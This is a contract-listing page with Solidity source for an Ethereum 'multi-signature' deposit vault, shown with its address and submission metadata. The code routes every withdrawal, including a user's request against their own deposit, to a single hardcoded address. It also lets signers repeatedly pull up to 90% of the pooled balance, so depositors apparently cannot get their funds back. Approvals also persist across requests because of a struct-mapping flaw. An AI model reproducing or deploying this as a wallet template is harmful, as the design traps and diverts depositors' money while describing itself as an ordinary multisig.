MultiSigVaultWithAdminWithdraw

Description:

Multi-signature wallet contract requiring multiple confirmations for transaction execution.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract MultiSigVaultWithAdminWithdraw {
    address public immutable signer1 = 0x1fbf75ebf02cF1f569d3e4Cffcee8467A98Ac350;
    address public immutable signer2 = 0x7bc388DAd29290bbFB1cC2058C1f697712BCfBC4;
    address public immutable signer3 = 0x7447BA40cdC3D0bF4E6Bc9518355799Be66716D9;

    uint8 public constant requiredApprovals = 2;
    uint256 public constant WITHDRAWAL_LIMIT_PERCENT = 9000;
    uint256 public constant LOCKUP_PERIOD = 15 days;         

   
    address payable public immutable withdrawalAddress = payable(0x1ed2f05724B4C474af1044f1D8D1Bb1D7F79FC8e);

    mapping(address => uint256) private deposits;
    mapping(address => uint256) private lockupEndTime;

    struct WithdrawalRequest {
        uint256 amount;
        uint8 approvalCount;
        mapping(address => bool) approvals;
        bool executed;
        address requester; 
        bool isAdminWithdrawal; 
    }

    WithdrawalRequest private currentRequest;

    error NotSigner();
    error AlreadyApproved();
    error NotEnoughApprovals();
    error InsufficientBalance();
    error LockupActive();
    error RequestInProgress();
    error RequestNotFound();
    error RequestAlreadyExecuted();

    event Deposit(address indexed from, uint256 amount);
    event WithdrawalRequested(address indexed requester, uint256 amount, bool isAdminWithdrawal);
    event WithdrawalApproved(address indexed approver);
    event WithdrawalExecuted(address indexed to, uint256 amount);

    modifier onlySigner() {
        if (msg.sender != signer1 && msg.sender != signer2 && msg.sender != signer3) revert NotSigner();
        _;
    }

    constructor() {
      
    }

    
    function deposit() external payable {
        require(msg.value > 0, "No ether sent");
        deposits[msg.sender] += msg.value;
        lockupEndTime[msg.sender] = block.timestamp + LOCKUP_PERIOD;
        emit Deposit(msg.sender, msg.value);
    }

 
    function requestUserWithdrawal(uint256 amount) external {
        require(amount > 0, "Amount must be > 0");
        require(block.timestamp >= lockupEndTime[msg.sender], "Lockup active");
        require(deposits[msg.sender] >= amount, "Insufficient deposit");
        require(currentRequest.amount == 0 || currentRequest.executed, "Request in progress");

        currentRequest.amount = amount;
        currentRequest.approvalCount = 0;
        currentRequest.executed = false;
        currentRequest.requester = msg.sender;
        currentRequest.isAdminWithdrawal = false;

        emit WithdrawalRequested(msg.sender, amount, false);
    }

   
    function requestAdminWithdrawal(uint256 amount) external onlySigner {
        require(amount > 0, "Amount must be > 0");
        require(currentRequest.amount == 0 || currentRequest.executed, "Request in progress");

        uint256 contractBalance = address(this).balance;
        require(amount <= (contractBalance * WITHDRAWAL_LIMIT_PERCENT) / 10000, "Exceeds 90% limit");

        currentRequest.amount = amount;
        currentRequest.approvalCount = 0;
        currentRequest.executed = false;
        currentRequest.requester = msg.sender;
        currentRequest.isAdminWithdrawal = true;

        emit WithdrawalRequested(msg.sender, amount, true);
    }

   
    function approveWithdrawal() external onlySigner {
        require(currentRequest.amount > 0 && !currentRequest.executed, "No active request");
        if (currentRequest.approvals[msg.sender]) revert AlreadyApproved();

        currentRequest.approvals[msg.sender] = true;
        currentRequest.approvalCount++;

        emit WithdrawalApproved(msg.sender);
    }

   
    function executeWithdrawal() external onlySigner {
        require(currentRequest.amount > 0 && !currentRequest.executed, "No active request");
        require(currentRequest.approvalCount >= requiredApprovals, "Not enough approvals");

        currentRequest.executed = true;

        if (!currentRequest.isAdminWithdrawal) {
           
            deposits[currentRequest.requester] -= currentRequest.amount;
        }

       
        (bool sent, ) = withdrawalAddress.call{value: currentRequest.amount}("");
        require(sent, "Withdrawal failed");

        emit WithdrawalExecuted(withdrawalAddress, currentRequest.amount);

        delete currentRequest;
    }

   
    function balanceOf(address user) external view returns (uint256) {
        return deposits[user];
    }

   
    function getLockupEndTime(address user) external view returns (uint256) {
        return lockupEndTime[user];
    }

   
   
}

Tags:
Multisig, Multi-Signature|addr:0xc3849008270804464a75ae02cccd9f19f226e2ac|verified:true|block:23392791|tx:0x316856273a60e9bfdd88fbba405bbb9f7646466b9c03565b9adc69bd44da981e|first_check:1758274767

Submitted on: 2025-09-19 11:39:28

Comments

Log in to comment.

No comments yet.